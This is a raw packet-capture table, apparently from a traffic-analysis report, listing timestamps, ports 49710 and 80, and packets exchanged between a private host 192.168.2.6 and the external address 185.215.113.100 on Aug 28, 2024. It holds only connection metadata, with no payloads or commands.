Aug 28, 2024 11:51:07.454432964 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.454583883 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.454591990 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.454607010 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.454617977 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.454626083 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.454658985 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.454998016 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.455024958 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.455034018 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.455038071 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.455049992 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.455060005 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.455060959 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.455092907 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.455123901 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.455133915 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.455142021 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.455168009 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.455193043 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.455245018 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.455255032 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.455266953 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.455285072 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.455302000 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.455351114 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.455362082 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.455393076 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.455416918 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.478307009 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.478342056 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.478351116 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.478362083 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.478365898 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.478389978 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.478393078 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.478405952 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.478425026 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.478449106 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.478472948 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.478486061 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.478514910 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.478543043 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.478835106 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.478853941 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.478869915 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.478878021 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.478892088 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.478908062 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.479003906 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.479021072 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.479032040 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.479043961 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.479058027 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.479058027 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.479083061 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.479180098 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.479224920 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.479331970 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.479342937 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.479355097 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.479367018 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.479376078 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.479392052 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.479403019 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.479415894 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.479425907 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.479427099 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.479439974 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.479461908 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.479485989 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.479528904 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.479562044 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.479573011 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.479584932 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.479602098 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.479607105 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.479614973 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.479626894 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.479628086 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.479655981 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.479671955 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.479794979 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.479839087 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.480128050 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.480139971 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.480150938 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.480169058 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.480187893 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.480189085 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.480201006 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.480211020 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.480221987 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.480231047 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.480256081 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.480617046 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.480628967 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.480638981 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.480676889 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.480684996 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.480695963 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.480707884 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.480717897 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.480731010 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.480736971 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.480741978 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.480756998 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.480786085 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.480829954 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.480870008 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.480879068 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.480890989 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.480910063 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.480917931 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.480921984 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.480937004 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.480945110 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.480968952 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.481000900 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.481013060 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.481026888 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.481036901 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.481045008 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.481050968 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.481051922 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.481070042 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.481076002 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.481096983 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.481105089 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.481113911 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.481117010 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.481128931 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.481141090 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.481146097 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.481161118 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.481228113 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.484128952 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484142065 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484165907 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484177113 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484186888 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.484189034 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484206915 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.484241962 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.484267950 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484281063 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484292984 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484304905 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484308004 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.484317064 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484328032 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484338999 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.484355927 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.484384060 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484396935 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484407902 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484424114 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.484450102 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.484606028 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484623909 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484635115 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484647036 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484651089 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.484658957 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484671116 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484675884 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.484683037 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484694004 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484705925 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.484707117 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484718084 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484723091 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.484730005 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484740973 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484747887 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.484755039 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484769106 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.484783888 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.484791040 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.484821081 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.539845943 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.539902925 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.539911985 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.539928913 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.539938927 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.539948940 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.539985895 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.539987087 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.539998055 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.540004969 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.540050983 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.540540934 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.540549040 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.540560007 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.540589094 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.540606976 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.540615082 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.540628910 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.540637970 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.540647984 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.540656090 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.540659904 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.540674925 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.540699005 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.540987968 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.541035891 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.541049004 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.541059017 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.541093111 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.541119099 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.541130066 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.541140079 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.541151047 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.541157961 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.541161060 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.541188002 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.541213036 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.541929960 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.541939974 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.541950941 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.541960955 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.541975021 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.541985989 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.542016983 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.542057991 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.542072058 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.542083025 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.542095900 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.542112112 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.542129993 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.565135002 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.565145016 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.565155029 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.565176964 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.565187931 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.565196991 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.565207958 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.565217018 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.565217972 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.565258026 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.565538883 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.565550089 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.565558910 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.565587044 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.565613985 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.565615892 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.565624952 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.565634966 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.565644026 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.565651894 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.565684080 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.565918922 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.565946102 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.565954924 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.565965891 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.565993071 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.566037893 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.566055059 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.566065073 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.566076040 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.566096067 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.566107035 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.566123962 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.566159010 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.566310883 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.566323996 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.566334009 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.566343069 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.566374063 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.566389084 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.566396952 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.566405058 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.566415071 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.566426039 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.566428900 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.566456079 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.566483974 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.566591978 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.566603899 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.566612959 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.566622972 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.566639900 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.566668987 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.566693068 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.566704988 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.566714048 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.566725969 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.566731930 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.566759109 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.566781998 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.567667007 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.567677021 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.567687035 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.567718029 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.567723989 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.567734957 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.567740917 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.567745924 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.567756891 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.567764044 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.567781925 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.567806005 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.567831039 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.567842007 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.567852020 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.567867994 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.567871094 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.567892075 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.567893028 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.567903996 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.567908049 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.567918062 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.567941904 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.567946911 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.567955971 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.567966938 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.567967892 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.567976952 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.567992926 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.568020105 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.568043947 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.568054914 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.568064928 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.568074942 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.568084002 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.568098068 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.568124056 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:07.570969105 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.570979118 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.570987940 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.571002007 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.571012020 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:07.571019888 CEST	49710	80	192.168.2.6	185.215.113.100
